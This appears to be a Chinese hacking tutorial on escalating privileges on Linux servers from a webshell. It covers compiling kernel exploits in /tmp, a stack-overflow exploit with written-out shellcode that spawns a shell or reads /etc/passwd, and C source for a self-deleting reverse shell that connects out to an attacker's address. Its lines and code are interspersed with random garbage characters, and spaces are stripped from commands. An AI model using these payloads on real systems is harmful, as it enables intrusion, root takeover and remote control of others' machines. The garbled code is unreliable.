1,先说最简单的
lsb_release*s k4f6e1{3e k
-a或者uname
-a获得内核版本
根据版本,找exp
一般将C文件放置/tmp/目录例如/tmp/silic.c
设置文件为0777属性(不要0666)chmod777/tmp/silic.c
或者直接webshell操作
然后编译gcc-o/tmp/silic/tmp/silic.c
执行/tmp/silic
有两种情况需要注意,一种是tmp目录文件过多造成太卡,一种是gcc命令无效
前者其实可以将文件搬出去到别的目录,或者自己新建一个0777目录,后者可以在自己或别的机器上先编译好,放到对方机器上直接执行。
一般来讲有禁gcc,连脚本执行也禁了的不多,除非是我这样的BT管理员-L;K.H(c*|
;]5w0|'M6?7a7M9y2U
如果还是碰上了对应版本的提权失败的,就看22,自己写shellShell里面的Shellcode是很重要的部分,也是最灵活,在国外黑客最挣钱的部分写一个程序#include<stdio.h>#include<string.h>intmain(intargc,char**argv){charbuffer[500];strcpy(buffer,argv[1]);return0;}按照文章里面测试的,编译后这样执行/tmp/buffer$(python-c'print"\x90"*371+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\x6c\xf0\xff\xbf"*35')这是一行命令,最后其实等于执行了/bin/bash这个命令(实际提权中无意义,不会执行这个命令)实际后面的ph命令可以用这个来计算shellcode来修改如果要编译好的直接看附件包里面的shellcode继续拿这个程序举例我用了一个45长度的shellcode,也就是/bin/bash如果我执行的不是/bin/bash而是cat/etc/passwd
)C7C.X'i*b)F;W/d
Shellcodelenght:69\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x66\x68\x65\x74\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x83\xec\x01\x88\x04\x24\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x50\x56\x83\xee\x09\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80就是69个长度的shellcode了,放到以前构造的45字节exp上肯定不行那么改改。69-45=24原先脚本的"\x6c\xf0\xff\xbf"*35减去6个4等于29次就好了脚本就成了:$(python-c'print"\x90"*371+"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x66\x68\x65\x74\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x83\xec\x01\x88\x04\x24\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x50\x56\x83\xee\x09\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+"\x6c\xf0\xff\xbf"*29')有人拿好几十个webshell换别人一个shell,原因不言而喻了。shell的好坏在于能够定点准确的溢出,写shell的定在哪个地址溢出就在哪个地址,不会因为机器不同而改变。3,反弹连接对于webshell来说,有个不足就是执行的commandline命令不能有引号”,不然后面部分就截断了,上面的溢出指令ph脚本上面就有双引号。你可以改造自己的webshell或者反弹连接commandline反弹连接有两种,一种用nc,一种用C程序Nc我就不说了C程序代码:#include<stdio.h>#include<sys/socket.h>#include<netinet/in.h>intmain(intargc,char*argv[]){1X.z-W*C(l8i9`
intfd;7t!g+x,A3F:@7?+q
structsockaddr_insin;
charrms[21]="rm-f";*K#m8U'x8_:G!o
daemon(1,0);
sin.sin_family=AF_INET;5x2v-l"I3J-\#v
sin.sin_port=htons(atoi(argv[2]));!z9r"|.V,`,~7F&^"_1a
sin.sin_addr.s_addr=inet_addr(argv[1]);
bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));*P0_8^,n"F9d!o#]
fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if((connect(fd,(structsockaddr*)&sin,sizeof(structsockaddr)))<0){2w3Z+a6?"?)l#t:A
perror("[-]connect()");
exit(0);
}
strcat(rms,argv[0]);
system(rms);1g;b;I#[0T'n(i'd+d9A
%X9U#f1q+a.M(y%D"j5F:G
dup2(fd,0);
dup2(fd,1);
dup2(fd,2);!K5H;s)H0c0y-\3v8f3R
execl("/bin/sh","sh-i",NULL);(z"a!~(N6u
close(fd);}用法就是编译,然后/root/link本地ip
本地端口本地用nc监听。这个反弹的不是root权限,只能说对于shell溢出是简化步骤
*
|